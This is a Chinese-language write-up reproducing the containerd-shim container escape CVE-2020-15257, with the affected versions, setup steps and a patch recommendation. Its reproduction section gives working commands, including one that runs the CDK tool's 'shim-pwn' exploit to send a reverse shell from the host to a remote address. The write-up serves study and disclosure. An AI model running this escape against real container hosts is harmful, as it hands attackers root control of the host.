Docker 容器逃逸漏洞 (CVE-2020-15257)复现¶
漏洞概述¶
containerd
是行业标准的容器运行时,可作为Linux
和Windows
的守护程序使用。在版本1.3.9
和1.4.3
之前的容器中,容器填充的API
不正确地暴露给主机网络容器。填充程序的API
套接字的访问控制验证了连接过程的有效UID
为0,但没有以其他方式限制对抽象Unix
域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID
为0,但特权降低)导致新进程以提升的特权运行。
影响版本¶
containerd < 1.4.3
containerd < 1.3.9
环境搭建¶
安装有漏洞的containerd
版本
这里我使用的版本是1.2.10
漏洞复现¶
通过--net=host
作为启动参数来运行一个容器:
docker run -it --net=host ubuntu:18.04 /bin/bash
接着在容器内执行
cat /proc/net/unix|grep -a "containerd-shim"
可看到抽象命名空间Unix
域套接字
Poc地址
这里为了方便行事,我们下载解压直接把cdk_linux_amd64
文件拷贝到容器里
docker cp cdk_linux_amd64 b7bd2b523d72:/tmp
在容器中执行exp
,自动搜索可用的socket
并反弹宿主机的shell
到远端服务器,完成逃逸
./cdk_linux_amd64 run shim-pwn 192.168.1.102 6666
修复建议¶
升级 containerd
至最新版本。